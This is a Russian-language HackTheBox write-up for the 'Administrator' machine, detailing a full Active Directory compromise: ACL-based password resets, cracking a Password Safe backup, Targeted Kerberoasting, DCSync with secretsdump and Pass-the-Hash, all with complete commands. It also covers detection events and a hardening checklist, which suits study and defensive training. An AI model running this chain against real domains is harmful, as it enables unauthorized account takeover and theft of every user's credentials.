HTB Administrator writeup: злоупотребление GenericWrite в AD и захват домена

75% вторжений в 2024 году использовали действительные учётные данные на этапе lateral movement (CrowdStrike Global Threat Report 2025). Эксплойты по-прежнему лидируют в initial access — 38% по Mandiant M-Trends 2025 — но дальше атакующий двигается по сети под чужими легитимными логинами. Машина Administrator на HackTheBox (Medium) моделирует именно это. Ни одного CVE, ни одного переполнения буфера. Только ошибки в ACL (Access Control Lists — списки контроля доступа, которые определяют, кто и что может делать с объектами в Active Directory), цепочка из пяти переходов между пользователями — и полный захват домена. Разберу каждый шаг: от стартовых учётных данных до DCSync, с объяснением, зачем нужна каждая техника и где она встретится на реальном пентесте.

Бизнес-логика атаки и место в kill chain

Прежде чем лезть в консоль — зачем атакующему вся эта цепочка и кому такое грозит.

Сценарий Administrator — классический grey box пентест: заказчик выдаёт аудитору учётную запись рядового сотрудника и просит показать, как далеко можно продвинуться. IBM X-Force 2025 фиксирует +71% год к году в атаках с использованием действительных учётных данных. Атакующие всё реже ломают периметр «снаружи» — проще купить или украсть один логин и двигаться горизонтально.

Цепочка атаки (kill chain) на этой машине:

1. Initial Access — начальные учётные данные пользователя Olivia (выданы HTB, имитация grey box)
2. Lateral Movement — сброс паролей через злоупотребление ACL Active Directory: Olivia → Michael → Benjamin
3. Credential Access — FTP credentials dump из зашифрованного хранилища паролей, затем Targeted Kerberoasting (T1558.003)
4. Domain Compromise — DCSync и Pass-the-Hash для получения прав Domain Admin

MITRE ATT&CK — открытая база тактик и техник атак. T-коды вроде T1558.003 — её идентификаторы. Я буду ссылаться на них, чтобы каждая техника была привязана к общепринятой классификации — это полезно и для отчётов, и для понимания, что именно происходит на каждом шаге.

Импакт для бизнеса: атакующий с правами Domain Admin получает доступ ко всем ресурсам домена — файловым серверам, почте, базам данных, GPO (групповым политикам). Mandiant M-Trends 2025 даёт медианное время обнаружения злоумышленника в сети — 11 дней. За это время DCSync позволяет выгрузить хеши всех пользователей и закрепиться так, что простая смена паролей уже не поможет.

Требования к окружению

Перед тем как повторять шаги — убедитесь, что у вас есть:

• ОС: Kali Linux 2024.x+ или Parrot OS (подойдёт любой Linux с предустановленным набором пентест-инструментов)
• RAM: минимум 4 ГБ (инструменты нетребовательны, виртуализация не нужна)
• Инструменты: nmap, netexec (наследник CrackMapExec — проверка учётных данных и перечисление SMB/LDAP), evil-winrm (shell через WinRM), bloodhound-python (сбор данных AD), hashcat (взлом хешей), пакет impacket (secretsdump и другие утилиты), bloodyAD (эксплуатация ACL-прав в AD), Python 3.10+
• Дополнительно: скрипт targetedKerberoast.py от ShutdownRepo — репозиторий на GitHub активно поддерживается, перед использованием проверьте актуальность через git pull
• Сеть: VPN-подключение к HackTheBox (OpenVPN)
• Критично: системное время должно быть синхронизировано с контроллером домена (разница не более 5 минут) — иначе все Kerberos-операции завершатся ошибкой KRB_AP_ERR_SKEW

Разведка: что видно на контроллере домена

[Применимо: внутренний пентест, grey box, Windows Server 2022]

Запускаем сканирование портов: nmap -p- --min-rate 10000 10.10.11.42 для обнаружения открытых портов, затем детальное: nmap -p 21,53,88,135,139,389,445,464,593,636,3268,5985,9389 -sCV 10.10.11.42.

Что показал nmap:

• Порт 88 — Kerberos. Подтверждает: перед нами контроллер домена
• Порт 389 — LDAP. Раскрывает имя домена: administrator.htb, hostname: DC
• Порт 445 — SMB. Windows Server 2022 Build 20348, подпись обязательна (signing: True — Pass-the-Hash через SMB Relay не пройдёт)
• Порт 5985 — WinRM (Windows Remote Management — удалённый PowerShell). Если найдём учётные данные пользователя из группы Remote Management Users — получим полноценный shell
• Порт 21 — FTP. Нетипично для DC — запоминаем, пригодится позже

Добавляем домен в /etc/hosts: netexec smb 10.10.11.42 --generate-hosts-file /etc/hosts — утилита сама добавит строку 10.10.11.42 DC DC.administrator.htb administrator.htb.

Сканирование — фаза Reconnaissance. Мы знаем, что имеем дело с Windows DC и нестандартным FTP-сервисом. Дальше работаем с учётными данными.

BloodHound и злоупотребление ACL Active Directory

HTB предоставляет стартовые учётные данные: olivia : ichliebedich. На реальном пентесте такие учётные данные выдаёт заказчик — или атакующий добывает их через фишинг, утечку, комбо-лист. Для контекста: по Verizon DBIR 2025, 38% утечек связаны с кражей учётных данных.

Проверяем через netexec smb 10.10.11.42 -u olivia -p ichliebedich — видим [+] administrator.htb\olivia:ichliebedich. Рабочие. Проверяем WinRM: netexec winrm 10.10.11.42 -u olivia -p ichliebedich — [+] (Pwn3d!), доступ есть.

Подключаемся: evil-winrm -i administrator.htb -u olivia -p ichliebedich. PowerShell-сессия. Домашняя папка Olivia пуста, доступ к C:\inetpub\ftproot запрещён. whoami /all показывает единственную нестандартную группу — Remote Management Users. Привилегий почти нет.

FTP с учётными данными Olivia тоже не работает: 530 User cannot log in, home directory inaccessible.

Тупик? Нет. Теперь ключевой шаг — BloodHound. Этот инструмент собирает данные обо всех объектах Active Directory (пользователи, группы, компьютеры, их разрешения) и визуализирует пути атаки в виде графа. Его задача — найти скрытые связи между объектами, которые позволяют повысить привилегии. Администраторы часто не подозревают, что эти связи существуют.

bloodhound-python -d administrator.htb -ns 10.10.11.42 \
  -u olivia -p ichliebedich -c all --zip

Параметр -c all собирает максимум: пользователей, группы, ACL, сессии, доверительные отношения. В терминале побегут строки INFO: Found X users, INFO: Found Y groups — значит сбор идёт. По завершении в текущей директории появится ZIP-архив с датой в имени, который загружаем в BloodHound GUI через drag-and-drop.

Граф BloodHound раскрывает полную цепочку повышения привилегий AD:

Olivia →(GenericAll)→ Michael →(ForceChangePassword)→ Benjamin →(Share Moderators, FTP)→ получаем Password Safe → Emily →(GenericWrite)→ Ethan →(DCSync)→ Administrator

Вся карта атаки — от рядового пользователя до Domain Admin. BloodHound нашёл её за секунды. Вручную такие цепочки ищут часами, и большинство администраторов об этих путях не знают.

ACL-права, которые встретятся дальше:

• GenericAll — полный контроль над объектом AD. Можно менять пароль, членство в группах, любые атрибуты. Маппинг: Account Manipulation (T1098 — тактики Persistence и Privilege Escalation)
• ForceChangePassword — право сбросить пароль пользователя без знания текущего. Тоже T1098
• GenericWrite — право записи большинства атрибутов объекта (но не сброс пароля напрямую). Главное последствие: можно записать servicePrincipalName (SPN — идентификатор сервиса в Kerberos), что открывает путь к Targeted Kerberoasting (T1558.003, тактика Credential Access)

Ограничение bloodhound-python: удалённый сбор не получает часть данных, доступных локальному агенту SharpHound.exe — активные сессии на рабочих станциях и некоторые данные Group Policy. На реальном пентесте используют оба варианта.

Lateral movement: сброс паролей по цепочке

[Применимо: внутренний пентест, grey box, Windows Server 2019/2022. Техника крайне заметна для SIEM]

Шаг 1: Olivia → Michael (GenericAll). У Olivia есть GenericAll над Michael — полный контроль. Из Kali:

bloodyAD -d administrator.htb -u olivia -p ichliebedich --host 10.10.11.42 set password michael 'NewPass123!'

bloodyAD (CravateRouge/bloodyAD) — инструмент для эксплуатации ACL-прав в AD, работает через LDAP и надёжно обрабатывает GenericAll/ForceChangePassword.

Альтернативы: net rpc password "michael" "NewPass123!" -U "administrator.htb"/"olivia"%"ichliebedich" -S "10.10.11.42" (через SAMR/SMB — на Samba 4.x может завершиться ошибкой) или из Evil-WinRM с PowerView: Set-DomainUserPassword -Identity michael -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force).

Нюанс: команда net user michael NewPass123! /domain из Evil-WinRM может вернуть Access Denied — GenericAll через ACL не всегда транслируется в право net user /domain. bloodyAD или PowerView надёжнее. Проверяем: netexec smb 10.10.11.42 -u michael -p 'NewPass123!' — [+]. Пароль Michael теперь наш.

Шаг 2: Michael → Benjamin (ForceChangePassword). Michael может принудительно сменить пароль Benjamin:

bloodyAD -d administrator.htb -u michael -p 'NewPass123!' --host 10.10.11.42 set password benjamin 'NewPass123!'

Альтернативы: net rpc password "benjamin" "NewPass123!" -U "administrator.htb"/"michael"%"NewPass123!" -S "10.10.11.42" (может не сработать на Samba 4.x) или через rpcclient -U 'michael%NewPass123!' 10.10.11.42 с командой setuserinfo2 benjamin 23 'NewPass123!'. Уровень 23 в API SetUserInfo2 — установка нового пароля.

Проверяем: netexec smb 10.10.11.42 -u benjamin -p 'NewPass123!' — [+]. Benjamin получен.

Детекция: каждый сброс пароля генерирует Event ID 4724 (попытка сброса) и Event ID 4723 (смена пароля) в журнале Security. Два-три таких события за минуту от одного источника — красный флаг для любого SOC. Microsoft Defender for Identity детектирует серийные сбросы как аномалию. CrowdStrike Falcon Identity Protection срабатывает на ForceChangePassword от non-helpdesk аккаунта. Elastic SIEM 8.x+ с модулем AD ловит корреляцию 4724 + 4723 по KQL-правилам. На HTB детекция выключена — на реальном пентесте согласуйте такие действия с заказчиком заранее.

FTP credentials dump и Password Safe

Benjamin входит в группу Share Moderators и имеет доступ к FTP. Подключаемся: ftp 10.10.11.42, логин benjamin, пароль NewPass123!. На сервере один файл — Backup.psafe3.

PSAFE3 — формат зашифрованного хранилища паролей Password Safe (открытое ПО, созданное Брюсом Шнайером). Файл защищён мастер-паролем, без него содержимое недоступно.

Скачиваем: в FTP-клиенте binary (переключение в бинарный режим, чтобы файл не повредился), затем get Backup.psafe3. Если не скачивается — несколько writeup’ов отмечают, что может потребоваться sudo при запуске FTP-клиента.

Ломаем мастер-пароль: hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt. Режим 5200 соответствует Password Safe v3 — hashcat 6.2.6+ принимает файл .psafe3 напрямую, извлечение хеша не нужно. Если hashcat вернёт Token length exception или Separator unmatched — используйте psafe2john.py Backup.psafe3 > hash.txt из John the Ripper для конвертации, затем hashcat -m 5200 hash.txt .... Проверить целостность: file Backup.psafe3 должен показать Password Safe V3 database. Результат: Backup.psafe3:tekieromucho. На rockyou перебор занимает секунды даже на CPU.

Открываем файл в Password Safe (pwsafe в Kali или GUI-версия) и достаём три набора учётных данных:

Проверяем каждый через netexec winrm — работают только учётные данные Emily. Подключаемся: evil-winrm -i administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'. User-флаг на рабочем столе Emily.

Хранилища паролей в бэкапах на реальных пентестах — стандартная находка. FTP-серверы на контроллерах домена встречаются чаще, чем хотелось бы: администраторы ставят их для обмена файлами между площадками, забывают ограничить доступ и оставляют резервные копии с чувствительными данными. Я видел такое не раз.

Targeted Kerberoasting через GenericWrite: ключевой вектор

[Применимо: внутренний пентест, grey box, домены с разрешённым RC4 для Kerberos. Не работает в средах с AES-only Kerberos]

Собираем свежие данные BloodHound от имени Emily (повторяем bloodhound-python с её учётными данными) и обнаруживаем: Emily имеет GenericWrite (T1098, Account Manipulation) над Ethan.

Как работает обычный Kerberoasting (T1558.003, тактика Credential Access): атакующий запрашивает TGS-тикет (Ticket Granting Service — билет Kerberos для доступа к сервису) для аккаунта с установленным SPN (Service Principal Name — идентификатор сервиса, привязанный к учётной записи). Тикет зашифрован хешем пароля владельца SPN — его можно брутфорсить офлайн, без взаимодействия с DC.

Проблема: у Ethan нет SPN. Обычный Kerberoasting не сработает.

Решение — Targeted Kerberoasting. Идея простая и элегантная:

1. Emily имеет GenericWrite над Ethan → может записать произвольный SPN на его аккаунт
2. После установки SPN любой аутентифицированный пользователь домена запрашивает TGS-тикет для этого SPN
3. Тикет зашифрован хешем пароля Ethan → ломаем офлайн

Скрипт targetedKerberoast.py из репозитория ShutdownRepo/targetedKerberoast автоматизирует все три шага. Но сначала — синхронизация времени:

# Синхронизация времени с DC — обязательно для Kerberos
# Останавливаем службы синхронизации (chrony/systemd-timesyncd могут перезаписать время)
sudo systemctl stop systemd-timesyncd chrony 2>/dev/null
sudo timedatectl set-ntp off
# Вариант 1: ntpdate (может отсутствовать в Kali 2024+: sudo apt install ntpdate)
sudo ntpdate -u 10.10.11.42
# Вариант 2 (fallback, если ntpdate не работает или DC не отвечает на NTP):
# sudo rdate -n 10.10.11.42
# Проверьте результат: date

# Targeted Kerberoasting: создаёт SPN и запрашивает тикет
python3 targetedKerberoast.py -v -d administrator.htb \
  -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
  --request-user ethan --dc-ip 10.10.11.42 | tee ethan_hash.txt

Зачем останавливать systemd-timesyncd и chrony: на некоторых дистрибутивах timedatectl set-ntp off не останавливает chrony, и время будет перезаписано обратно через секунды. Если ntpdate отсутствует — sudo apt install ntpdate. Если DC не отвечает на NTP — sudo rdate -n 10.10.11.42 (Time Protocol, порт 37/tcp). После синхронизации проверьте date. Без этого Kerberos вернёт KRB_AP_ERR_SKEW (Clock skew too great) и всё остановится.

В терминале должен появиться TGS-хеш формата $krb5tgs$23$*ethan$... — hash type 13100 для hashcat. Если скрипт завершается без вывода — проверьте синхронизацию времени и что Emily действительно имеет GenericWrite (перепроверьте в BloodHound).

Ломаем: hashcat -m 13100 ethan_hash.txt /usr/share/wordlists/rockyou.txt. Результат: ethan:limpbizkit.

Когда Targeted Kerberoasting не работает

• AES-only Kerberos. Если в Group Policy параметр «Network Security: Configure encryption types allowed for Kerberos» исключает RC4 — стандартный Kerberoasting с RC4-тикетом не пройдёт. Техника возможна с AES-тикетами, но перебор в hashcat на порядки медленнее
• Microsoft Defender for Identity детектирует создание подозрительных SPN на пользовательских аккаунтах и запросы TGS с RC4 для non-service accounts
• CrowdStrike Falcon Identity Protection фиксирует аномальные изменения атрибутов AD (SPN modification) и коррелирует с последующим TGS-запросом
• Sigma-правило win_security_susp_rc4_kerberos.yml из SigmaHQ ловит TGS-запросы с типом шифрования 0x17 (RC4) — Event ID 4769. В Elastic SIEM 8.x+ конвертируется в KQL один-в-один
• Модификация SPN генерирует Event ID 5136 (изменение объекта каталога) — мониторинг этого события позволяет поймать атаку на этапе подготовки, ещё до запроса тикета

DCSync и повышение привилегий до Domain Admin

Проверяем права Ethan в BloodHound: у него есть extended rights GetChanges + GetChangesAll на объекте домена. Эта комбинация даёт DCSync-возможность — имитацию поведения контроллера домена для запроса репликации базы NTDS, включая NTLM-хеши паролей всех пользователей. Финальный шаг.

impacket-secretsdump \
  'administrator.htb/ethan:limpbizkit@10.10.11.42'

В выводе появятся строки формата Administrator:500:aad3b435...:NTLM_HASH::: — NTLM-хеши всех пользователей домена. Если видите [-] RemoteOperations failed — проверьте пароль Ethan и наличие DCSync rights (GetChanges + GetChangesAll на объекте домена в BloodHound).

Берём NTLM-хеш Administrator и подключаемся через Pass-the-Hash (PtH — аутентификация хешем без знания пароля): evil-winrm -i 10.10.11.42 -u administrator -H <NTLM_hash>.

Root-флаг на рабочем столе Administrator. Домен полностью скомпрометирован — от рядового пользователя до Domain Admin через пять переходов, без единого классического эксплойта.

Детекция и ограничения: чеклист для защитной команды

Для blue team — конкретные события и правила, которые позволяют обнаружить каждый этап:

Actionable hardening-чеклист (готов к передаче администратору):

1. Отключить RC4 в Kerberos — Group Policy → «Network Security: Configure encryption types allowed for Kerberos» → оставить только AES128 и AES256
2. Аудитировать ACL через BloodHound ежеквартально — искать пути от Tier-2 пользователей к Domain Admins. Защитники используют BloodHound точно так же, как атакующие — и должны делать это первыми
3. Включить мониторинг Event ID 5136 (изменение атрибутов AD-объектов) — любое появление нового SPN на пользовательском аккаунте подозрительно
4. Настроить корреляцию Event ID 4724 — два и более сброса пароля от одного источника за 5 минут = alert
5. Ограничить DCSync rights — только аккаунтам контроллеров домена. Проверить через Get-DomainObjectAcl (PowerView) или BloodHound
6. Убрать FTP с контроллера домена — файлообмен через SMB-шары с NTFS-правами, а не через FTP с plaintext-аутентификацией

Из D3FEND (база защитных техник MITRE): для противодействия T1558.003 (Kerberoasting) рекомендуется Network Traffic Signature Analysis (D3-NTSA) — мониторинг сетевого трафика на аномальные Kerberos-запросы. Для T1098 (Account Manipulation) — Access Modeling (D3-AM) — моделирование нормального поведения учётных записей и выявление отклонений.

Каждый второй writeup машины Administrator — список команд без объяснения, почему цепочка Olivia → Michael → Benjamin → Emily → Ethan → Administrator вообще существует. А она существует по одной причине: ACL в Active Directory не проверяет никто. Администратор добавляет GenericAll «временно» для миграции, ForceChangePassword — для helpdesk-скрипта, GenericWrite — для автоматизации. «Временные» разрешения живут годами. Я видел аналогичные цепочки в реальных проектах — разница только в длине: иногда три перехода, иногда десять. Результат один.

Стандартные аудиты проверяют патч-менеджмент, антивирус, парольные политики — но почти никогда не включают аудит ACL-связей. BloodHound раскрывает пути за секунды, атакующий эксплуатирует за минуты, а защитники узнают о проблеме из отчёта пентестера. Эта асимметрия будет расти, пока ACL-аудит не станет таким же стандартным пунктом, как сканирование уязвимостей. На курсе WAPT эту цепочку — от GenericWrite до DCSync — проходят в двух модулях с лабами, где можно сломать и починить AD-связи самостоятельно.